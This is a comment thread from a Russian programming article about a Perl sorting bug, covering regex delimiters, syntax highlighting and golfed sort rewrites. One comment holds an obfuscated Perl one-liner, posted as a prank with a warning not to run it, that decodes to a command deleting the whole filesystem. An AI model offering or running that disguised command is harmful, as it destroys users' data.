Pull to refresh

Comments 54

Хмм… А зачем вообще так писать? Чтобы никто не понял типа?

Или чтобы ВРАГИ не дай Бог не поняли?

Дак враги то они всегда найдут компетентного товарища, а вот друзья будут вспоминать и автор поикивать.

Надеюсь это кусок кода, который в какой-нить утилитке, которая тока чисто для себя делалась и никогда бы не стала переписываться, ибо даже автор бы скорее всего через год сам бы уже не помнил, что он имел в виду.
Вообще-то зная Perl, задумка была правильная как это всё сделать (да и выглядит всё достаточно понятно =) ), просто писал неопытный человек (и невнимательный) и не проверил результат.
Ммм… Признаюсь, что любое выражение на любом языке в одну строку да со столькью-то (!) операторами выглядит мягенько говоря смутненько.

Я признаюсь при всём честном народе, что я перловку в детстве не любил, но и она крайне полезна.

Но ведь можно ЭТО написать чуть более ясно?

// Хотя здесь условия не ясны — вдруг надо было «вот прям щас и чтобы бла-бла-бла!», когда над душой стоит хрень
Там в коде был комментарий, так что с понятностью проблем не возникло. Тем более, когда имеешь некоторый опыт программирования на Перле, оператор <=> в функции сравнения распознаётся влёт, а справа и слева совершенно идентичные выражения. Затык был не в непонятности кода в целом, а конкретно в составляющих его выражениях.
Эт то да, но сёравно мы все люди и баги случаются опять же в моменты свойственные человеку.

Случай конечно интересный, но всё-таки лучше писать понятнее.

Хотя бы чтобы большинство редакторов подсвечивало правильно.

Хотя тов. touzoku метко подметил, что перл перлом читать надо :)
Ммм… Признаюсь, что любое выражение на любом языке в одну строку да со столькью-то (!) операторами выглядит мягенько говоря смутненько.


cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


не печатает…
P.S.: хотя в современных дистрибутивах введена проверка данной программки с последующим вопросом «а вы уверены?», все ж не советую ее исполнять. =)
Как же так??? Ведь всё вроде правильно!

:))
А ничего что coreutils с 2006 года сию команду не исполнит?
Жесть. Бедняга и не догадывался, какую свинью замедленного действия он вам подложил. Надолго работу парализовало? :)
Да не очень. :) Исправить-то было несложно, гораздо интереснее было разобраться, что же там вообще такое происходит и как получилось, что синтаксически некорректные выражения проходят этап компиляции без ошибок и предупреждений.

Разбирались, кстати, вместе с самим автором — он когда эту строчку увидел, у него так же, как и у меня, глаза на лоб вылезли. :)
Спасибо :-) Мораль ещё такая: пользоваться редакторами с адекватной подсветкой синтаксиса.

Проверил в Far'овском колорере и в Absolute Perl'е. Оба подсвечивают, к сожалению, неадекватно, но оба выводят достаточно визуальных матюгов, чтобы заподозрить что-то неладное :-) Кто найдёт редактор или онлайн-хайлайтер, который адекватно раскрасит эту строку? :-)

Absolute Perl:


Far:
по-моему ни один редактор правильно не подсвечивает такого рода операторы в Perl. В одно время пытались коллективно найти хоть что-то — не нашли :(

P.S. Синтаксис перла можно парсить только на перле :)
Формальное доказательство того, что Перл невозможно распарсить (задача парсинга Перла сводится к задаче остановки). Код в примере, действительно, невозможно корректно разукрасить:

whatever / 25 ; # / ; die "this dies!";

Если функция whatever принимает аргумент, он получит результат match-оператора / 25; # /, применённый к $_, после чего случится die. Если функция whatever не принимает аргумент, результат её выполнения будет разделен на 25, а die будет закомментирован.
Хотя Notepad++ победил таки:

Кажется, только Emacs справился? :-) От VIM'а я большего ожидал :-)
Eclipse+EPIC выдал то же что и Emacs.
Честно говоря, всё равно не понял, почему нельзя было использовать более стандартное решение с "/", а искомые "/" экранировать обратными слэшами?
Ну, как бы то ни было, автор — не лентяй, коль разобрался в чужом коде. Я б просто переписал. ;)
Я чуть выше написал — разбирались вместе с автором того кода. Переписать несложно, интереснее было понять, в чём соль (и учесть на будущее).

А что касается слэшей — это врождённая нелюбовь к «заборчикам» (как у автора кода, так и у меня).
Понятно. Ну, в любом случае, молодцы. Может кому-нибудь на будущее уроком будет Ваша статья.
И ещё одна мораль: пишите, наконец, эти долбаные тесты :-)
а не заметили этого раньше лишь по той причине, что сортировка была чисто косметическим улучшением
Чувак, который написал сортировку даже не удосужился два-три раза внимательно посмотреть на результат с разными входными данными? Он, наверное, пока меньше 10 КБ кода нового не напишет, не смотрит, как всё работает, а потом просто запамятовал. :)
погольфим?

sort { (() = $a =~ /(\/)/g) <=> (() = $b =~ /(\/)/g } @array
даже так:

sort { $a =~ y|/|/| <=> $b =~ y|/|/| } @array
sort { split('/', $a) <=> split('/', $b) } @array

Вообще без регулярок.
На самом деле, строка в split всё равно преобразуется в регулярку, сплитить по строке — самообман.
Можно просто с минусом:
sort { $a =~ y|/|/|-$b =~ y|/|/| } @array
Известный факт, описанный в perldoc perlre
Да, я же так и написал, что поведение документированное. Но многие ли могут похвастаться тем, что прочитали, усвоили и запомнили весь перлдок? :)

У меня есть в загашнике парочка заготовок, где описаны интересные возможности Перла, которые, несмотря на их документированность, редко попадаются на глаза и, как следствие, известны не всем. Планирую их тоже слегка подрихтовать и выложить на Хабр.
Жду с нетерпением.
Блин, ну почему у этих скриптовых языков всегда такой долбанутый синтаксис. g вместо скобок — кому такое только в голову прийдёт?..
Честно говоря очень удобно и наглядно, конечно же если есть редактор с подсветкой синтаксиса.
Мне кажется, было бы разумное ограничение, что скобки у обоих параметров должны быть одинаковыми. Тогда проблемы бы не возникло.

У многих скриптовых языков весьма строгий и понятный синтаксис :-)
Не нужно мерить всё вокруг со своей колокольни.
Одна g вместо двух скобок… вполне наглядно. Да и вообще, при непонимании логики незнакомого языка для начала не плохо просто смириться и просто запомнить что так надо. Потом, через время, скорее всего, придет понимание что это таки да — удобно и наглядно. Это относится и к человеческим языкам и к языкам программирования.
> Одна g вместо двух скобок… вполне наглядно.
Вообще-то две g.
Вы это серьёзно?

> при непонимании логики незнакомого языка
Я несколько знаком с Perl, автор поста явно более чем знаком, и тем не менее it came as a surprise для нас обоих (-;
P.S. И да, синтаксис это синтаксис — логика это логика, не подменяйте понятия.
Хроршая статься. Недавно наткнулся на нечто подобное, по началу тоже удивло:

foreach ( qw(file1 file2 file3) ) {
    next unless -e _; # без знака доллара
}
ну тут всё просто, use strict и всё сразу понятно
Не поможет. Даже с use warnings; ниодного прдупреждения не получите.
точно… я без цикла проверил, ошибка была
А я, когда хотел написать такой же комментарий, сперва проверил ;-)
Ошибки быть не должно) Хотя, конечно, код неправильный.
_
в данном случае — файловый дескриптор, который неявно открывается при вызовах stat() и некоторых filetest-функций (-w, -f, etc.).
Если выше по коду для какого-то файла был заполнен
_
, то в данном цикле -e будет возвращать истину на всех итерациях даже если файла не существует.
Читать по теме: perldoc.perl.org/functions/-X.html
Упс, оформление похерилось. Надеюсь осталось ясным, что литерал _ — это файловый дескриптор, а не переменная $_ у которой забыли сигил)
Да, тупо, пропущено выражение:
stat($file);
или просто непоставлен багз.

Т.е. всё должно выглядить так:
foreach ( qw(file1 file2 file3) ) {
    stat($_);
    next unless -e _; # без знака доллара
    ...
}
Только возвращает оно 0 или 1, тк глобальной замены не происходит
Sign up to leave a comment.

Articles